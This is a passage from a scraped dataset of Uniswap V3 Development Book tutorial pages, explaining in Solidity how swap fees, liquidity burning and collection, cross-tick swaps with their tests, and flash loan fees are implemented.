When current price is outside of the position, we need to update fees collected by either upper or lower ticks before subtracting them from fees collecting globally. We update them only for the calculations and dont overwrite them in ticks because the ticks dont get crossed. This is how we update fees collected outside of a tick: $$f_{o}(i) = f_{g} - f_{o}(i)$$ Fees collected outside of a tick ($f_{o}(i)$) is the difference between fees collected globally ($f_{g}$) and fees collected outside of the tick when it crossed last time. We kind of reset the counter when a tick is crossed. To calculate fees collected inside a position: $$f_{r} = f_{g} - f_{b}(i_{l}) - f_{a}(i_{u})$$ We subtract fees collected below its lower tick ($f_{b}(i_{l})$) and above its upper tick ($f_{a}(i_{u})$) from fees collected globally from all price ranges ($f_{g}$). This is what we saw on the illustration above. Now, when current price is above the lower tick (i.e. the position is engaged), we dont need to update fees accumulated below the lower tick and can simply take them from the lower tick. The same is true for fees collected outside of the upper tick when current price is below upper tick. In the two other cases, we need to consider updated fees: when taking fees collected below the lower tick and current price is also below the tick (the lower tick hasnt been crossed recently). when taking fees above the upper tick and current price is also above the tick (the upper tick hasnt been crossed recently). I hope this all is not too confusing. Luckily, we now know everything to start coding! Accruing Swap Fees # To keep it simple, well add fees to our codebase step by step. And well begin with accruing swap fees. Adding Required State Variables # First thing we need to do is to add the fee amount parameter to Poolevery pool will have a fixed and immutable fee configured during deployment. In the previous chapter, we added Factory contract that unified and simplified pools deployment. One of the required pool parameters was tick spacing. Now, were going to replace it with fee amount and well tie fee amounts to tick spacing: the bigger the fee amount, the larger the tick spacing. This is so that low volatility pools (stablecoin ones) have lower fees. Lets update Factory: // src/UniswapV3Factory.sol contract UniswapV3Factory is IUniswapV3PoolDeployer { ... mapping ( uint24 => uint24 ) public fees; // `tickSpacings` replaced by `fees` constructor () { fees[ 500 ] = 10 ; fees[ 3000 ] = 60 ; } function createPool ( address tokenX, address tokenY, uint24 fee ) public returns ( address pool) { ... parameters = PoolParameters({ factory : address (this), token0 : tokenX, token1 : tokenY, tickSpacing : fees[fee], fee : fee }); ... } } Fee amounts are hundredths of the basis point. That is, 1 fee unit is 0.0001%, 500 is 0.05%, and 3000 is 0.3%. Next step is to start accumulating fees in Pool. For that, well add two global fee accumulator variables: // src/UniswapV3Pool.sol contract UniswapV3Pool is IUniswapV3Pool { ... uint24 public immutable fee; uint256 public feeGrowthGlobal0X128; uint256 public feeGrowthGlobal1X128; } The one with index 0 tracks fees accumulated in token0 , the one with index 1 tracks fees accumulated in token1 . Collecting Fees # Now we need to update SwapMath.computeSwapStep this is where we calculate swap amounts and this is also where well calculate and subtract swap fees. In the function, we replace all occurrences of amountRemaining with amountRemainingLessFee : uint256 amountRemainingLessFee = PRBMath.mulDiv( amountRemaining, 1 e6 - fee, 1 e6 ); Thus, we subtract the fee from input token amount and calculate output amount from a smaller input amount. The function now also returns the fee amount collected during the stepits calculated differently depending on whether the upper limit of the range was reached or not: bool max = sqrtPriceNextX96 == sqrtPriceTargetX96; if ( ! max) { feeAmount = amountRemaining - amountIn; } else { feeAmount = Math.mulDivRoundingUp(amountIn, fee, 1 e6 - fee); } When its not reached, the current price range has enough liquidity to fulfill the swap, thus we simply return the difference between the amount we needed to fulfill and the actual amount fulfilled. Notice that amountRemainingLessFee is not involved here since the actual final amount was calculated in amountIn (its calculated based on available liquidity). When the target price is reached, we cannot subtract fees from the entire amountRemaining because the current price range doesnt have enough liquidity to fulfill the swap. Thus, fee amount is subtracted from the amount the current price range has fulfilled ( amountIn ). After SwapMath.computeSwapStep has returned, we need to update fees accumulated by the swap. Notice that theres only one variable to track them because, when staring a swap, we already know the input token (during a swap, fees are collected in either token0 or token1 , not both of them): SwapState memory state = SwapState({ ... feeGrowthGlobalX128 : zeroForOne ? feeGrowthGlobal0X128 : feeGrowthGlobal1X128 }); (...) = SwapMath.computeSwapStep(...); state.feeGrowthGlobalX128 += PRBMath.mulDiv( step.feeAmount, FixedPoint128.Q128, state.liquidity ); This is where we adjust accrued fees by the amount of liquidity to later distribute fees among liquidity providers in a fair way. Updating Fee Trackers in Ticks # Next, we need to update the fee trackers in a tick, if it was crossed during a swap (crossing a tick means were entering a new price range): if (state.sqrtPriceX96 == step.sqrtPriceNextX96) { int128 liquidityDelta = ticks.cross( step.nextTick, ( zeroForOne ? state.feeGrowthGlobalX128 : feeGrowthGlobal0X128 ), ( zeroForOne ? feeGrowthGlobal1X128 : state.feeGrowthGlobalX128 ) ); ... } Since we havent yet updated feeGrowthGlobal0X128/feeGrowthGlobal1X128 state variables at this moment, we pass state.feeGrowthGlobalX128 as either of the fee parameters depending on swap direction. cross function updates the fee trackers as we discussed above: // src/lib/Tick.sol function cross ( mapping ( int24 => Tick.Info) storage self, int24 tick, uint256 feeGrowthGlobal0X128, uint256 feeGrowthGlobal1X128 ) internal returns ( int128 liquidityDelta) { Tick.Info storage info = self[tick]; info.feeGrowthOutside0X128 = feeGrowthGlobal0X128 - info.feeGrowthOutside0X128; info.feeGrowthOutside1X128 = feeGrowthGlobal1X128 - info.feeGrowthOutside1X128; liquidityDelta = info.liquidityNet; } We havent added the initialization of feeGrowthOutside0X128/feeGrowthOutside1X128 variableswell do this in a later step. Updating Global Fee Trackers # And, finally, after the swap is fulfilled, we can update the global fee trackers: if (zeroForOne) { feeGrowthGlobal0X128 = state.feeGrowthGlobalX128; } else { feeGrowthGlobal1X128 = state.feeGrowthGlobalX128; } Again, during a swap, only one of them is updated because fees are taken from the input token, which is either of token0 or token1 depending on swap direction. Thats it for swapping! Lets now see what happens to fees when liquidity is added. Fee Tracking in Positions Management # When adding or removing liquidity (we havent implemented the latter yet), we also need to initialize or update fees. Fees need to be tracked both in ticks (fees accumulated outside of ticksthe feeGrowthOutside variables we added just now) and positions (fees accumulated inside of positions). In case of positions, we also need to keep track of and update the amounts of tokens collected as feesor in other words, we convert fees per liquidity to token amounts. The latter is needed so that when a liquidity provider removes liquidity, they get extra tokens collected as swap fees. Lets do it step by step again. Initialization of Fee Trackers in Ticks # In Tick.update function, whenever a tick is initialized (adding liquidity to a previously empty tick), we initialize its fee trackers. However, were only doing so when the tick is below current price, i.e. when its inside of the current price range: // src/lib/Tick.sol function update ( mapping ( int24 => Tick.Info) storage self, int24 tick, int24 currentTick, int128 liquidityDelta, uint256 feeGrowthGlobal0X128, uint256 feeGrowthGlobal1X128, bool upper ) internal returns ( bool flipped) { ... if (liquidityBefore == 0 ) { // by convention, assume that all previous fees were collected below // the tick if (tick <= currentTick) { tickInfo.feeGrowthOutside0X128 = feeGrowthGlobal0X128; tickInfo.feeGrowthOutside1X128 = feeGrowthGlobal1X128; } tickInfo.initialized = true ; } ... } If its not inside of the current price range, its fee trackers will be 0 and theyll be update when the tick is crossed next time (see the cross function we updated above). Updating Position Fees and Token Amounts # Next step is to calculate the fees and tokens accumulated by a position. Since a position is a range between two ticks, well calculate these values using the fee trackers we added to ticks on the previous step. The next function might look messy, but it implements the exact price range fee formulas we saw earlier: // src/lib/Tick.sol function getFeeGrowthInside ( mapping ( int24 => Tick.Info) storage self, int24 lowerTick_, int24 upperTick_, int24 currentTick, uint256 feeGrowthGlobal0X128, uint256 feeGrowthGlobal1X128 ) internal view returns ( uint256 feeGrowthInside0X128, uint256 feeGrowthInside1X128) { Tick.Info storage lowerTick = self[lowerTick_]; Tick.Info storage upperTick = self[upperTick_]; uint256 feeGrowthBelow0X128; uint256 feeGrowthBelow1X128; if (currentTick >= lowerTick_) { feeGrowthBelow0X128 = lowerTick.feeGrowthOutside0X128; feeGrowthBelow1X128 = lowerTick.feeGrowthOutside1X128; } else { feeGrowthBelow0X128 = feeGrowthGlobal0X128 - lowerTick.feeGrowthOutside0X128; feeGrowthBelow1X128 = feeGrowthGlobal1X128 - lowerTick.feeGrowthOutside1X128; } uint256 feeGrowthAbove0X128; uint256 feeGrowthAbove1X128; if (currentTick < upperTick_) { feeGrowthAbove0X128 = upperTick.feeGrowthOutside0X128; feeGrowthAbove1X128 = upperTick.feeGrowthOutside1X128; } else { feeGrowthAbove0X128 = feeGrowthGlobal0X128 - upperTick.feeGrowthOutside0X128; feeGrowthAbove1X128 = feeGrowthGlobal1X128 - upperTick.feeGrowthOutside1X128; } feeGrowthInside0X128 = feeGrowthGlobal0X128 - feeGrowthBelow0X128 - feeGrowthAbove0X128; feeGrowthInside1X128 = feeGrowthGlobal1X128 - feeGrowthBelow1X128 - feeGrowthAbove1X128; } Here, were calculating fees accumulated between two ticks (inside a price range). For this, we first calculate fees accumulated below the lower tick and then fees calculated above the upper tick. In the end, we subtract those fees from the globally accumulated ones. This is the formula we saw earlier: $$f_{r} = f_{g} - f_{b}(i_{l}) - f_{a}(i_{u})$$ When calculating fees collected above and below a tick, we do it differently depending on whether the price range is engaged or not (whether the current price is between the boundary ticks of the price range). When its engaged we simply use the current fee trackers of a tick; when its not engaged we need to take updated fee trackers of a tickyou can see these calculations in the two else branches in the code above. After finding the fees accumulated inside of a position, were ready to update fee and token amount trackers of the position: // src/lib/Position.sol function update ( Info storage self, int128 liquidityDelta, uint256 feeGrowthInside0X128, uint256 feeGrowthInside1X128 ) internal { uint128 tokensOwed0 = uint128 ( PRBMath.mulDiv( feeGrowthInside0X128 - self.feeGrowthInside0LastX128, self.liquidity, FixedPoint128.Q128 ) ); uint128 tokensOwed1 = uint128 ( PRBMath.mulDiv( feeGrowthInside1X128 - self.feeGrowthInside1LastX128, self.liquidity, FixedPoint128.Q128 ) ); self.liquidity = LiquidityMath.addLiquidity( self.liquidity, liquidityDelta ); self.feeGrowthInside0LastX128 = feeGrowthInside0X128; self.feeGrowthInside1LastX128 = feeGrowthInside1X128; if (tokensOwed0 > 0 || tokensOwed1 > 0 ) { self.tokensOwed0 += tokensOwed0; self.tokensOwed1 += tokensOwed1; } } When calculating owed tokens, we multiply fees accumulated by the position by liquiditythe reverse of what we did during swapping. In the end, we update the fee trackers and add the token amounts to the previously tracked ones. Now, whenever a position is modified (during addition or removal of liquidity), we calculate fees collected by a position and update the position: // src/UniswapV3Pool.sol function mint (...) { ... bool flippedLower = ticks.update(params.lowerTick, ...); bool flippedUpper = ticks.update(params.upperTick, ...); ... ( uint256 feeGrowthInside0X128, uint256 feeGrowthInside1X128) = ticks .getFeeGrowthInside( params.lowerTick, params.upperTick, slot0_.tick, feeGrowthGlobal0X128_, feeGrowthGlobal1X128_ ); position.update( params.liquidityDelta, feeGrowthInside0X128, feeGrowthInside1X128 ); ... } Removing Liquidity # Were now ready to add the only core feature we havent implemented yetremoval of liquidity. As opposed to minting, well call this function burn . This is the function that will let liquidity providers remove a fraction or whole liquidity from a position they previously added liquidity to. In addition to that, itll also calculate the fee tokens liquidity providers are eligible for. However, actual transferring of tokens will be done in a separate function collect . Burning Liquidity # Burning liquidity is opposed to minting. Our current design and implementation makes it a hassle-free task: burning liquidity is simply minting with the negative sign. Its like adding a negative amount of liquidity. To implement burn , I needed to refactor the code and extract everything related to position management (updating ticks and position, and token amounts calculation) into _modifyPosition function, which is used by both mint and burn function. function burn ( int24 lowerTick, int24 upperTick, uint128 amount ) public returns ( uint256 amount0, uint256 amount1) { ( Position.Info storage position, int256 amount0Int, int256 amount1Int ) = _modifyPosition( ModifyPositionParams({ owner : msg.sender, lowerTick : lowerTick, upperTick : upperTick, liquidityDelta : - ( int128 (amount)) }) ); amount0 = uint256 ( - amount0Int); amount1 = uint256 ( - amount1Int); if (amount0 > 0 || amount1 > 0 ) { (position.tokensOwed0, position.tokensOwed1) = ( position.tokensOwed0 + uint128 (amount0), position.tokensOwed1 + uint128 (amount1) ); } emit Burn(msg.sender, lowerTick, upperTick, amount, amount0, amount1); } In burn function, we first update a position and remove some amount of liquidity from it. Then, we update the token amount owed by the positionthey now include amounts accumulated via fees as well as amounts that were previously provided as liquidity. We can also see this as conversion of position liquidity into token amounts owed by the position these amounts wont be used as liquidity anymore and can be freely redeemed by calling the collect function: function collect ( address recipient, int24 lowerTick, int24 upperTick, uint128 amount0Requested, uint128 amount1Requested ) public returns ( uint128 amount0, uint128 amount1) { Position.Info storage position = positions.get( msg.sender, lowerTick, upperTick ); amount0 = amount0Requested > position.tokensOwed0 ? position.tokensOwed0 : amount0Requested; amount1 = amount1Requested > position.tokensOwed1 ? position.tokensOwed1 : amount1Requested; if (amount0 > 0 ) { position.tokensOwed0 -= amount0; IERC20(token0).transfer(recipient, amount0); } if (amount1 > 0 ) { position.tokensOwed1 -= amount1; IERC20(token1).transfer(recipient, amount1); } emit Collect( msg.sender, recipient, lowerTick, upperTick, amount0, amount1 ); } This function simply transfers tokens from a pool and ensures that only valid amounts can be transferred (one cannot transfer out more than they burned + fees they earned). Theres also a way to collect fees only without burning liquidity: burn 0 amount of liquidity and then call collect . During burning, the position will be updated and token amounts it owes will be updated as well. And, thats it! Our pool implementation is complete now! \\[ \\] Swap Fees How Swap Fees are Collected Calculating Position Accumulated Fees Accruing Swap Fees Adding Required State Variables Collecting Fees Updating Fee Trackers in Ticks Updating Global Fee Trackers Fee Tracking in Positions Management Initialization of Fee Trackers in Ticks Updating Position Fees and Token Amounts Removing Liquidity Burning Liquidity", - "labels": [ - "Documentation" - ] - }, - { - "title": "Cross-Tick Swaps #", - "html_url": "https://uniswapv3book.com/docs/milestone_3/cross-tick-swaps/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Cross-Tick Swaps Cross-Tick Swaps How Cross-Tick Swaps Work Updating computeSwapStep Function Updating swap Function Liquidity Tracking and Ticks Crossing Testing One Price Range Multiple Identical and Overlapping Price Ranges Consecutive Price Ranges Partially Overlapping Price Ranges Cross-Tick Swaps # Cross-tick swaps is probably the most advanced feature of Uniswap V3. Luckily, we have already implemented almost everything we need to make cross-tick swaps. Lets see how cross-tick swaps work before implementing them. How Cross-Tick Swaps Work # A common Uniswap V3 pool is a pool with many overlapping (and outstanding) price ranges. Each pool tracks current $\\sqrt{P}$ and tick. When users swap tokens they move current price and tick to the left or to the right, depending on swap direction. These movements are caused by tokens being added and removed from pools during swaps. Pools also track $L$ ( liquidity variable in our code), which is the total liquidity provided by all price ranges that include current price . Its expected that, during big price moves, current price moves outside of price ranges. When this happens, such price ranges become inactive and their liquidity gets subtracted from $L$. On the other hand, when current price enters a price range, $L$ is increased and the price range gets activated. Lets analyze this illustration: There are three price ranges on this image. The top one is the one currently engaged, it includes the current price. The liquidity of this price range is set to the liquidity state variable of the Pool contract. If we buy all the ETH from the top price range, the price will increase and well move to the right price range, which at this moment contains only ETH, not USDC. We might stop in this price range if theres enough liquidity to satisfy our demand. In this case, the liquidity variable will contain only the liquidity provided by this price range. If we continue buying ETH and deplete the right price range, well need another price range thats to the right of this price range. If there are no more price ranges, well have to stop, and our swap will be satisfied only partially. If we buy all the USDC from the top price range (and sell ETH), the price will decrease and well move to the left price rangeat this moment it contains only USDC. If we deplete it, well need another price range to the left of it. The current price moves during swapping. It moves from one price range to another, but it must always stay within a price rangeotherwise, trading is not possible. Of course, price ranges can overlap, so, in practice, the transition between price ranges is seamless. And its not possible to hop over a gapa swap would be completed partially. Its also worth noting that, in the areas where price ranges overlap, price moves slower. This is due to the fact that supply is higher in such areas and the effect of demand is lower (recall from the introduction that high demand with low supply increases the price). Our current implementation doesnt support such fluidity: we only allow swaps within one active price range. This is what were going to improve now. Updating computeSwapStep Function # In the swap function, were iterating over initialized ticks (that is, ticks with liquidity) to fill the amount the user has requested. In each iteration, we: find next initialized tick using tickBitmap.nextInitializedTickWithinOneWord ; swap in the range between the current price and the next initialized tick (using SwapMath.computeSwapStep ); always expect that current liquidity is enough to satisfy the swap (i.e. the price after swap is between the current price and the next initialized tick). But what happens if the third step is not true? We have this scenario covered in tests: // test/UniswapV3Pool.t.sol function testSwapBuyEthNotEnoughLiquidity () public { ... uint256 swapAmount = 5300 ether ; ... vm.expectRevert(stdError.arithmeticError); pool.swap( address (this), false , swapAmount, extra); } The Arithmetic over/underflow happens when the pool tries to send us more ether than it has. This error happens because, in our current implementation, we always expect that theres enough liquidity to satisfy any swap: // src/lib/SwapMath.sol function computeSwapStep (...) { ... sqrtPriceNextX96 = Math.getNextSqrtPriceFromInput( sqrtPriceCurrentX96, liquidity, amountRemaining, zeroForOne ); amountIn = ... amountOut = ... } To improve this, we need to consider several situations: when the range between the current and the next ticks has enough liquidity to fill amountRemaining ; when the range doesnt fill the entire amountRemaining . In the first case, the swap is done entirely within the rangethis is the scenario we have implemented. In the second situation, well consume the whole liquidity provided by the range and will move to the next range (if it exists). With this in mind, lets rework computeSwapStep : // src/lib/SwapMath.sol function computeSwapStep (...) { ... amountIn = zeroForOne ? Math.calcAmount0Delta( sqrtPriceCurrentX96, sqrtPriceTargetX96, liquidity ) : Math.calcAmount1Delta( sqrtPriceCurrentX96, sqrtPriceTargetX96, liquidity ); if (amountRemaining >= amountIn) sqrtPriceNextX96 = sqrtPriceTargetX96; else sqrtPriceNextX96 = Math.getNextSqrtPriceFromInput( sqrtPriceCurrentX96, liquidity, amountRemaining, zeroForOne ); amountIn = Math.calcAmount0Delta( sqrtPriceCurrentX96, sqrtPriceNextX96, liquidity ); amountOut = Math.calcAmount1Delta( sqrtPriceCurrentX96, sqrtPriceNextX96, liquidity ); } First, we calculate amountIn the input amount the current range can satisfy. If its smaller than amountRemaining , we say that the current price range cannot fulfil the whole swap, thus the next $\\sqrt{P}$ is the upper/lower $\\sqrt{P}$ of the price range (in other words, we use the entire liquidity of the price range). If amountIn is greater than amountRemaining , we compute sqrtPriceNextX96 itll be a price within the current price range. In the end, after figuring the next price, we re-compute amountIn and compute amountOut withing this shorter price range (we dont consume the entire liquidity). I hope this makes sense! Updating swap Function # Now, in swap function, we need to handle the case we introduced in the previous part: when swap price reaches a boundary of a price range. When this happens, we want to deactivate the price range were leaving and active the next price range. We also want to start another iteration of the loop and try to find another tick with liquidity. Heres what we need to add to the end of the loop: if (state.sqrtPriceX96 == step.sqrtPriceNextX96) { int128 liquidityDelta = ticks.cross(step.nextTick); if (zeroForOne) liquidityDelta = - liquidityDelta; state.liquidity = LiquidityMath.addLiquidity( state.liquidity, liquidityDelta ); if (state.liquidity == 0 ) revert NotEnoughLiquidity(); state.tick = zeroForOne ? step.nextTick - 1 : step.nextTick; } else { state.tick = TickMath.getTickAtSqrtRatio(state.sqrtPriceX96); } The second branch is what we had beforeit handles the case when current price stays within the range. So lets focus on the first one. state.sqrtPriceX96 is the new current price, i.e. the price that will be set after the current swap; step.sqrtPriceNextX96 is the price at the next initialized tick. If these are equal, we have reached a price range boundary. As explained above, when this happens, we want to update $L$ (add or remove liquidity) and continue the swap using the boundary tick as the current tick. By convention, crossing a tick means crossing it from left to right. Thus, crossing lower ticks always adds liquidity and crossing upper ticks always removes it. However, when zeroForOne is true, we negate the sign: when price goes down (token $x$ is being sold), upper ticks add liquidity and lower ticks remove it. When updating state.tick , if price moves down ( zeroForOne is true), we need to subtract 1 to step out of the price range. When moving up ( zeroForOne is false), current tick is always excluded in TickBitmap.nextInitializedTickWithinOneWord . Another small, but very important, change that we need to make is to update $L$ when crossing a tick. We do this after the loop: if (liquidity_ != state.liquidity) liquidity = state.liquidity; Within the loop, we update state.liquidity multiple times when entering/leaving price ranges. After a swap, we need to update the global $L$ for it to reflect the liquidity available at the new current price. Also, the reason why we only update the global variable when finishing the swap is also gas consumption optimization, since writing global variable is really an expensive operation! Liquidity Tracking and Ticks Crossing # Lets now look at updated Tick library. First change is in Tick.Info structure: we now have two variables to track tick liquidity: struct Info { bool initialized; // total liquidity at tick uint128 liquidityGross; // amount of liqudiity added or subtracted when tick is crossed int128 liquidityNet; } liquidityGross tracks the absolute liquidity amount of a tick. Its needed to find if tick was flipped or not. liquidityNet , on the other hand, is a signed integerit tracks the amount of liquidity added (in case of lower tick) or removed (in case of upper tick) when a tick is crossed. liquidityNet is set in update function: function update ( mapping ( int24 => Tick.Info) storage self, int24 tick, int128 liquidityDelta, bool upper ) internal returns ( bool flipped) { ... tickInfo.liquidityNet = upper ? int128 ( int256 (tickInfo.liquidityNet) - liquidityDelta) : int128 ( int256 (tickInfo.liquidityNet) + liquidityDelta); } The cross function we saw above simply returns liquidityNet (itll get more complicated after we introduce new features in later milestones): function cross ( mapping ( int24 => Tick.Info) storage self, int24 tick) internal view returns ( int128 liquidityDelta) { Tick.Info storage info = self[tick]; liquidityDelta = info.liquidityNet; } Testing # Lets review different liquidity set ups and test them to ensure our pool implementation can handle them correctly. One Price Range # This is the scenario we had earlier. After we have updated the code, we need to ensure old functionality keeps working correctly. For brevity, Ill show only most important parts of the tests. You can find full tests in the code repo . When buying ETH: function testBuyETHOnePriceRange () public { LiquidityRange[] memory liquidity = new LiquidityRange[]( 1 ); liquidity[ 0 ] = liquidityRange( 4545 , 5500 , 1 ether , 5000 ether , 5000 ); ... ( int256 expectedAmount0Delta, int256 expectedAmount1Delta) = ( - 0 . 008396874645169943 ether , 42 ether ); assertSwapState( ExpectedStateAfterSwap({ ... sqrtPriceX96 : 5604415652688968742392013927525 , // 5003.8180249710795 tick : 85183 , currentLiquidity : liquidity[ 0 ].amount }) ); } When buying USDC: function testBuyUSDCOnePriceRange () public { LiquidityRange[] memory liquidity = new LiquidityRange[]( 1 ); liquidity[ 0 ] = liquidityRange( 4545 , 5500 , 1 ether , 5000 ether , 5000 ); ... ( int256 expectedAmount0Delta, int256 expectedAmount1Delta) = ( 0 . 01337 ether , - 66 . 807123823853842027 ether ); assertSwapState( ExpectedStateAfterSwap({ ... sqrtPriceX96 : 5598737223630966236662554421688 , // 4993.683362269102 tick : 85163 , currentLiquidity : liquidity[ 0 ].amount }) ); } In both of these scenario we buy a small amount of ETH or USDCit needs to be small enough for the price to not leave the only price range we created. Key values after swapping is done: sqrtPriceX96 is slightly above or below the initial price and stays within the price rage; currentLiquidity remains unchanged. Multiple Identical and Overlapping Price Ranges # When buying ETH: function testBuyETHTwoEqualPriceRanges () public { LiquidityRange memory range = liquidityRange( 4545 , 5500 , 1 ether , 5000 ether , 5000 ); LiquidityRange[] memory liquidity = new LiquidityRange[]( 2 ); liquidity[ 0 ] = range; liquidity[ 1 ] = range; ... ( int256 expectedAmount0Delta, int256 expectedAmount1Delta) = ( - 0 . 008398516982770993 ether , 42 ether ); assertSwapState( ExpectedStateAfterSwap({ ... sqrtPriceX96 : 5603319704133145322707074461607 , // 5001.861214026131 tick : 85179 , currentLiquidity : liquidity[ 0 ].amount + liquidity[ 1 ].amount }) ); } When buying USDC: function testBuyUSDCTwoEqualPriceRanges () public { LiquidityRange memory range = liquidityRange( 4545 , 5500 , 1 ether , 5000 ether , 5000 ); LiquidityRange[] memory liquidity = new LiquidityRange[]( 2 ); liquidity[ 0 ] = range; liquidity[ 1 ] = range; ... ( int256 expectedAmount0Delta, int256 expectedAmount1Delta) = ( 0 . 01337 ether , - 66 . 827918929906650442 ether ); assertSwapState( ExpectedStateAfterSwap({ ... sqrtPriceX96 : 5600479946976371527693873969480 , // 4996.792621611429 tick : 85169 , currentLiquidity : liquidity[ 0 ].amount + liquidity[ 1 ].amount }) ); } This scenario is similar to the previous one but this time we create two identical price ranges. Since those are fully overlapping price ranges, they in fact act as one price range with a higher amount of liquidity. Thus, the price changes slower than in the previous scenario. Also, we get slightly more tokens thanks to deeper liquidity. Consecutive Price Ranges # When buying ETH: function testBuyETHConsecutivePriceRanges () public { LiquidityRange[] memory liquidity = new LiquidityRange[]( 2 ); liquidity[ 0 ] = liquidityRange( 4545 , 5500 , 1 ether , 5000 ether , 5000 ); liquidity[ 1 ] = liquidityRange( 5500 , 6250 , 1 ether , 5000 ether , 5000 ); ... ( int256 expectedAmount0Delta, int256 expectedAmount1Delta) = ( - 1 . 820694594787485635 ether , 10000 ether ); assertSwapState( ExpectedStateAfterSwap({ ... sqrtPriceX96 : 6190476002219365604851182401841 , // 6105.045728033458 tick : 87173 , currentLiquidity : liquidity[ 1 ].amount }) ); } When buying USDC: function testBuyUSDCConsecutivePriceRanges () public { LiquidityRange[] memory liquidity = new LiquidityRange[]( 2 ); liquidity[ 0 ] = liquidityRange( 4545 , 5500 , 1 ether , 5000 ether , 5000 ); liquidity[ 1 ] = liquidityRange( 4000 , 4545 , 1 ether , 5000 ether , 5000 ); ... ( int256 expectedAmount0Delta, int256 expectedAmount1Delta) = ( 2 ether , - 9103 . 264925902176327184 ether ); assertSwapState( ExpectedStateAfterSwap({ ... sqrtPriceX96 : 5069962753257045266417033265661 , // 4094.9666586581643 tick : 83179 , currentLiquidity : liquidity[ 1 ].amount }) ); } In these scenarios, we make big swaps that cause price to move outside of a price range. As a result, the second price range gets activated and provides enough liquidity to satisfy the swap. In both scenarios, we can see that price lands outside of the current price range and that the price range gets deactivated (current liquidity equals to the liquidity of the second price range). Partially Overlapping Price Ranges # When buying ETH: function testBuyETHPartiallyOverlappingPriceRanges () public { LiquidityRange[] memory liquidity = new LiquidityRange[]( 2 ); liquidity[ 0 ] = liquidityRange( 4545 , 5500 , 1 ether , 5000 ether , 5000 ); liquidity[ 1 ] = liquidityRange( 5001 , 6250 , 1 ether , 5000 ether , 5000 ); ... ( int256 expectedAmount0Delta, int256 expectedAmount1Delta) = ( - 1 . 864220641170389178 ether , 10000 ether ); assertSwapState( ExpectedStateAfterSwap({ ... sqrtPriceX96 : 6165345094827913637987008642386 , // 6055.578153852725 tick : 87091 , currentLiquidity : liquidity[ 1 ].amount }) ); } When buying USDC: function testBuyUSDCPartiallyOverlappingPriceRanges () public { LiquidityRange[] memory liquidity = new LiquidityRange[]( 2 ); liquidity[ 0 ] = liquidityRange( 4545 , 5500 , 1 ether , 5000 ether , 5000 ); liquidity[ 1 ] = liquidityRange( 4000 , 4999 , 1 ether , 5000 ether , 5000 ); ... ( int256 expectedAmount0Delta, int256 expectedAmount1Delta) = ( 2 ether , - 9321 . 077831210790476918 ether ); assertSwapState( ExpectedStateAfterSwap({ ... sqrtPriceX96 : 5090915820491052794734777344590 , // 4128.883835866256 tick : 83261 , currentLiquidity : liquidity[ 1 ].amount }) ); } This is a variation of the previous scenario, but this time the price ranges are partially overlapping. In the areas where the price ranges overlap, theres deeper liquidity, which makes the price movements slower. This is similar to providing more liquidity into the overlapping ranges. Also notice that, in both swaps, we got more tokens than in the Consecutive Price Ranges scenariosthis is again due to deeper liquidity in the overlapping ranges. \\[ \\] Cross-Tick Swaps How Cross-Tick Swaps Work Updating computeSwapStep Function Updating swap Function Liquidity Tracking and Ticks Crossing Testing One Price Range Multiple Identical and Overlapping Price Ranges Consecutive Price Ranges Partially Overlapping Price Ranges", - "labels": [ - "Documentation" - ] - }, - { - "title": "Flash Loan Fees #", - "html_url": "https://uniswapv3book.com/docs/milestone_5/flash-loan-fees/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price Ranges Cross-Tick Swaps Slippage Protection Liquidity Calculation A Little Bit More on Fixed-point Numbers Flash Loans User Interface Milestone 4. Multi-pool Swaps Introduction Factory Contract Swap Path Multi-pool Swaps User Interface Tick Rounding Milestone 5. Fees and Price Oracle Introduction Swap Fees Flash Loan Fees Protocol Fees Price Oracle User Interface Milestone 6: NFT positions Introduction ERC721 Overview NFT Manager NFT Renderer Flash Loan Fees Flash Loan Fees Flash Loan Fees # In a previous chapter we implemented flash loans and made them free. However, Uniswap collects swap fees on flash loans, and were going to add this to our implementation: the amounts repaid by flash loan borrowers must include a fee. Heres what the updated flash function looks like: function flash ( uint256 amount0, uint256 amount1, bytes calldata data ) public { uint256 fee0 = Math.mulDivRoundingUp(amount0, fee, 1 e6); uint256 fee1 = Math.mulDivRoundingUp(amount1, fee, 1 e6); uint256 balance0Before = IERC20(token0).balanceOf( address (this)); uint256 balance1Before = IERC20(token1).balanceOf( address (this)); if (amount0 > 0 ) IERC20(token0).transfer(msg.sender, amount0); if (amount1 > 0 ) IERC20(token1).transfer(msg.sender, amount1); IUniswapV3FlashCallback(msg.sender).uniswapV3FlashCallback( fee0, fee1, data ); if (IERC20(token0).balanceOf( address (this)) < balance0Before + fee0) revert FlashLoanNotPaid(); if (IERC20(token1).balanceOf( address (this)) < balance1Before + fee1) revert FlashLoanNotPaid(); emit Flash(msg.sender, amount0, amount1); } Whats changed is that were now calculating fees on the amounts requested by caller and then expect pool balances to have grown by the fee amounts. Flash Loan Fees", - "labels": [ - "Documentation" - ] - }, - { - "title": "Math in Solidity #", - "html_url": "https://uniswapv3book.com/docs/milestone_2/math-in-solidity/", - "body": "Uniswap V3 Development Book Milestone 0. Introduction Introduction to Markets Constant Function Market Makers Uniswap V3 Development Environment What We'll Build Milestone 1. First Swap Introduction Calculating Liquidity Providing Liquidity First Swap Manager Contract Deployment User Interface Milestone 2. Second Swap Introduction Output Amount Calculation Math in Solidity Tick Bitmap Index Generalize Minting Generalize Swapping Quoter Contract User Interface Milestone 3. Cross-tick Swaps Introduction Different Price 